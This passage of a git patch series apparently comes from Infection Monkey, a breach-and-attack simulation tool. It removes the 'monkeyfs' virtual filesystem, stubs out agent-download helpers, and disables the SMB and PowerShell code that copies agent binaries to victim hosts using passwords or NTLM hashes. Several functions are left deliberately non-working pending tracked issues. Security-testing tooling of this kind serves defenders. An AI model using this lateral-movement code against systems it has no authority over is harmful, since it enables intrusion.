build_monkey_commandline from infection_monkey.utils.environment import is_windows_os @@ -186,11 +185,15 @@ class PowerShellExploiter(HostExploiter): return is_monkey_copy_successful def _write_virtual_file_to_local_path(self) -> None: + """ + # TODO: monkeyfs has been removed. Fix this in issue #1740. monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=self.is_32bit) with monkeyfs.open(monkey_fs_path) as monkey_virtual_file: with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file: monkey_local_file.write(monkey_virtual_file.read()) + """ + pass def _run_monkey_executable_on_victim(self, executable_path) -> None: monkey_execution_command = build_monkey_execution_command( diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index 6d2538fc9..d0af82304 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -11,18 +11,13 @@ def try_get_target_monkey(host): def get_target_monkey(host): - from infection_monkey.control import ControlClient - - if not host.os.get("type"): - return None - - return ControlClient.download_monkey_exe(host) + raise NotImplementedError("get_target_monkey() has been retired. Use IAgentRepository instead.") def get_target_monkey_by_os(is_windows, is_32bit): - from infection_monkey.control import ControlClient - - return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit) + raise NotImplementedError( + "get_target_monkey_by_os() has been retired. Use IAgentRepository instead." + ) def get_monkey_depth(): diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index 362c1b083..84e1b7e8b 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -6,7 +6,6 @@ from impacket.dcerpc.v5 import srvs, transport from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21 from impacket.smbconnection import SMB_DIALECT, SMBConnection -import infection_monkey.monkeyfs as monkeyfs from common.utils.attack_utils import ScanStatus from infection_monkey.config import Configuration from infection_monkey.network.tools import get_interface_to_target @@ -20,7 +19,8 @@ class SmbTools(object): def copy_file( host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60 ): - assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) + # monkeyfs has been removed. Fix this in issue #1741 + # assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) smb, dialect = SmbTools.new_smb_connection( host, username, password, lm_hash, ntlm_hash, timeout @@ -138,10 +138,13 @@ class SmbTools(object): remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep)) try: + # monkeyfs has been removed. Fix this in issue #1741 + """ with monkeyfs.open(src_path, "rb") as source_file: # make sure of the timeout smb.setTimeout(timeout) smb.putFile(share_name, remote_path, source_file.read) + """ file_uploaded = True T1105Telem( diff --git a/monkey/infection_monkey/monkeyfs.py b/monkey/infection_monkey/monkeyfs.py deleted file mode 100644 index e056512d2..000000000 --- a/monkey/infection_monkey/monkeyfs.py +++ /dev/null @@ -1,58 +0,0 @@ -import os -from io import BytesIO - -MONKEYFS_PREFIX = "monkeyfs://" - -open_orig = open - - -class VirtualFile(BytesIO): - _vfs = {} # virtual File-System - - def __init__(self, name, mode="r", buffering=None): - if not name.startswith(MONKEYFS_PREFIX): - name = MONKEYFS_PREFIX + name - self.name = name - if name in VirtualFile._vfs: - super(VirtualFile, self).__init__(self._vfs[name]) - else: - super(VirtualFile, self).__init__() - - def flush(self): - super(VirtualFile, self).flush() - VirtualFile._vfs[self.name] = self.getvalue() - - @staticmethod - def getsize(path): - return len(VirtualFile._vfs[path]) - - @staticmethod - def isfile(path): - return path in VirtualFile._vfs - - -def getsize(path): - if path.startswith(MONKEYFS_PREFIX): - return VirtualFile.getsize(path) - else: - return os.stat(path).st_size - - -def isfile(path): - if path.startswith(MONKEYFS_PREFIX): - return VirtualFile.isfile(path) - else: - return os.path.isfile(path) - - -def virtual_path(name): - return "%s%s" % (MONKEYFS_PREFIX, name) - - -# noinspection PyShadowingBuiltins -def open(name, mode="r", buffering=-1): - # use normal open for regular paths, and our "virtual" open for monkeyfs:// paths - if name.startswith(MONKEYFS_PREFIX): - return VirtualFile(name, mode, buffering) - else: - return open_orig(name, mode=mode, buffering=buffering) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index 2fc45cf06..10d2e6e1d 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -51,7 +51,8 @@ def powershell_exploiter(monkeypatch): monkeypatch.setattr(powershell, "AuthenticationError", AuthenticationErrorForTests) monkeypatch.setattr(powershell, "is_windows_os", lambda: True) # It's regrettable to mock out a private method on the PowerShellExploiter instance object, but - # it's necessary to avoid having to deal with the monkeyfs + # it's necessary to avoid having to deal with the monkeyfs. TODO: monkeyfs has been removed, so + # fix this. monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None) return pe From 932d4401d8e344e028c30d7b248c2b190c91ef39 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Mar 2022 06:42:06 -0500 Subject: [PATCH 9/9] Island: Remove redundant file name in commit hash log message --- monkey/monkey_island/cc/resources/monkey_download.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/resources/monkey_download.py b/monkey/monkey_island/cc/resources/monkey_download.py index 644cea758..99943aedb 100644 --- a/monkey/monkey_island/cc/resources/monkey_download.py +++ b/monkey/monkey_island/cc/resources/monkey_download.py @@ -42,8 +42,8 @@ class MonkeyDownload(flask_restful.Resource): if filepath.is_file(): with open(filepath, "rb") as monkey_exec_file: file_contents = monkey_exec_file.read() - file_sha256_hash = filename, hashlib.sha256(file_contents).hexdigest() - logger.debug(f"{filename} hash:\nSHA-256 {file_sha256_hash}") + file_sha256_hash = hashlib.sha256(file_contents).hexdigest() + logger.debug(f"{filename} SHA-256 hash: {file_sha256_hash}") else: logger.debug(f"No monkey executable for {filepath}")